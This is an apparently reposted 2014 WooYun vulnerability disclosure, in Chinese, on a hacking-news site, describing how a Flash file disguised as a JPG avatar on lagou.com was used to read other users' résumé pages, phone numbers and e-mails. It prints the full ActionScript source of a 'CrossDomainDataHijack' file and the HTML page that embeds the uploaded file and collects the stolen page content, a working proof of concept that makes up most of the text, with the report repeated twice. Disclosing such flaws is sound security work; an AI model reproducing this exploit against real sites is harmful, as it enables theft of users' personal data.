记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

拉勾网某处问题导致其他用户简历可被下载(可获得Token等敏感数据)

2014-11-28 02:00

首先在lagou.com 注册个用户!

然后上传个头像:

QQ20141013-1.png



可以发现头像的图破了,那么这个头像是什么呢。是一个flash的csrf文件改名为jpg了!



小涛问:为什么不用swf的后缀名呢?

杜老师:我也想啊,可是你见过头像等传图片的位置能传swf?



看看flash的代码:

code 区域
package com.powerflasher.SampleApp {



import flash.external.ExternalInterface;



import flash.display.Sprite;



import flash.display.Sprite;



import flash.events.Event;



import flash.net.URLLoader;



import flash.net.URLRequest;



import flash.text.TextField;



import flash.text.TextFieldAutoSize;



import flash.xml.*;



import flash.events.IOErrorEvent;



import flash.events.*;



import flash.net.*;



/**



* @author User



*/















public class CrossDomainDataHijack extends Sprite {







private var loader:URLLoader;



public function CrossDomainDataHijack() {



loader = new URLLoader();



configureListeners(loader);



var target:String = root.loaderInfo.parameters.input;















var request:URLRequest = new URLRequest(target);



try {



loader.load(request);



} catch (error:Error) {



sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());



}



}







private function configureListeners(dispatcher:IEventDispatcher):void {



dispatcher.addEventListener(Event.COMPLETE, completeHandler);



dispatcher.addEventListener(Event.OPEN, openHandler);



dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);



dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);



dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);



dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);



}







private function completeHandler(event:Event):void {



var loader:URLLoader = URLLoader(event.target);



//trace("completeHandler: " + loader.data);



sendDatatoJS("completeHandler: " + loader.data);



}







private function openHandler(event:Event):void {



//trace("openHandler: " + event);



sendDatatoJS("openHandler: " + event);



}







private function progressHandler(event:ProgressEvent):void {



//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);



sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);



}







private function securityErrorHandler(event:SecurityErrorEvent):void {



//trace("securityErrorHandler: " + event);



sendDatatoJS("securityErrorHandler: " + event);



}







private function httpStatusHandler(event:HTTPStatusEvent):void {



//trace("httpStatusHandler: " + event);



sendDatatoJS("httpStatusHandler: " + event);



}







private function ioErrorHandler(event:IOErrorEvent):void {



//trace("ioErrorHandler: " + event);



sendDatatoJS("ioErrorHandler: " + event);



}







private function sendDatatoJS(data:String):void{



trace(data);



ExternalInterface.call("sendToJavaScript", data);



}

}

}





现在我们来看下这个图片是不是所有用户都可以查看,如果只能查看那就只能玩蛋了。。。

查看图片地址:

QQ20141013-2.png



看是否其他用户也能访问到:

QQ20141013-3.png



看来不用玩蛋了,现在我们来测试下能不能获得lagou.com任意页面的内容!

先获得一点需要用户权限的页面吧,比如个人简历设置的页面:

QQ20141013-4.png



就这个页面了,我们看能不能get到这个页面的源码:

QQ20141013-5.png



可以看到填入flash地址跟要GET的页面已经得到返回值了 包括手机号邮箱等等!



我们渲染出来看下:

QQ20141013-6.png





可以看到的确是我们的简历页面,在源码中还包含简历下载的链接:

QQ20141013-7.png



这个链接是可以任何人访问哦。。。。



测试链接:http://jsbin.com/ladujohifika/2

只要访问就会打印出 http://www.lagou.com/resume/preview.html 的内容

漏洞证明:

首先在lagou.com 注册个用户!

然后上传个头像:

QQ20141013-1.png



可以发现头像的图破了,那么这个头像是什么呢。是一个flash的csrf文件改名为jpg了!



小涛问:为什么不用swf的后缀名呢?

杜老师:我也想啊,可是你见过头像等传图片的位置能传swf?



看看flash的代码:

code 区域
package com.powerflasher.SampleApp {



import flash.external.ExternalInterface;



import flash.display.Sprite;



import flash.display.Sprite;



import flash.events.Event;



import flash.net.URLLoader;



import flash.net.URLRequest;



import flash.text.TextField;



import flash.text.TextFieldAutoSize;



import flash.xml.*;



import flash.events.IOErrorEvent;



import flash.events.*;



import flash.net.*;



/**



* @author User



*/















public class CrossDomainDataHijack extends Sprite {







private var loader:URLLoader;



public function CrossDomainDataHijack() {



loader = new URLLoader();



configureListeners(loader);



var target:String = root.loaderInfo.parameters.input;















var request:URLRequest = new URLRequest(target);



try {



loader.load(request);



} catch (error:Error) {



sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());



}



}







private function configureListeners(dispatcher:IEventDispatcher):void {



dispatcher.addEventListener(Event.COMPLETE, completeHandler);



dispatcher.addEventListener(Event.OPEN, openHandler);



dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);



dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);



dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);



dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);



}







private function completeHandler(event:Event):void {



var loader:URLLoader = URLLoader(event.target);



//trace("completeHandler: " + loader.data);



sendDatatoJS("completeHandler: " + loader.data);



}







private function openHandler(event:Event):void {



//trace("openHandler: " + event);



sendDatatoJS("openHandler: " + event);



}







private function progressHandler(event:ProgressEvent):void {



//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);



sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);



}







private function securityErrorHandler(event:SecurityErrorEvent):void {



//trace("securityErrorHandler: " + event);



sendDatatoJS("securityErrorHandler: " + event);



}







private function httpStatusHandler(event:HTTPStatusEvent):void {



//trace("httpStatusHandler: " + event);



sendDatatoJS("httpStatusHandler: " + event);



}







private function ioErrorHandler(event:IOErrorEvent):void {



//trace("ioErrorHandler: " + event);



sendDatatoJS("ioErrorHandler: " + event);



}







private function sendDatatoJS(data:String):void{



trace(data);



ExternalInterface.call("sendToJavaScript", data);



}

}

}





现在我们来看下这个图片是不是所有用户都可以查看,如果只能查看那就只能玩蛋了。。。

查看图片地址:

QQ20141013-2.png



看是否其他用户也能访问到:

QQ20141013-3.png



看来不用玩蛋了,现在我们来测试下能不能获得lagou.com任意页面的内容!

先获得一点需要用户权限的页面吧,比如个人简历设置的页面:

QQ20141013-4.png



就这个页面了,我们看能不能get到这个页面的源码:

QQ20141013-5.png



可以看到填入flash地址跟要GET的页面已经得到返回值了 包括手机号邮箱等等!



我们渲染出来看下:

QQ20141013-6.png





可以看到的确是我们的简历页面,在源码中还包含简历下载的链接:

QQ20141013-7.png



这个链接是可以任何人访问哦。。。。



测试链接:http://jsbin.com/ladujohifika/2

只要访问就会打印出 http://www.lagou.com/resume/preview.html 的内容

测试页面代码:

code 区域
<html>



<head><title>csrftest</title>



<script>



function sendToJavaScript(strData){



var theDiv = document.getElementById("HijackedData");



var content = document.createTextNode(strData);



theDiv.appendChild(content);



theDiv.innerHTML += '<br/>'



//alert(strData);



}



</script>



</head>



<body>



<div id=HijackedData></div>



<object id="myObject" width="100" height="100" allowscriptaccess="always" type="application/x-shockwave-flash" data="http://www.lagou.com/upload/headpic/93bf859ca67a4c7f9fb32a47a90560dd.jpg">



<param name="AllowScriptAccess" value="always">



<param name="flashvars" value="input=http://www.lagou.com/resume/preview.html">



</object>



</body>



</html>

修复方案:

你懂的~

知识来源: www.wooyun.org/bugs/wooyun-2014-079222

阅读:116703 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“拉勾网某处问题导致其他用户简历可被下载(可获得Token等敏感数据)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云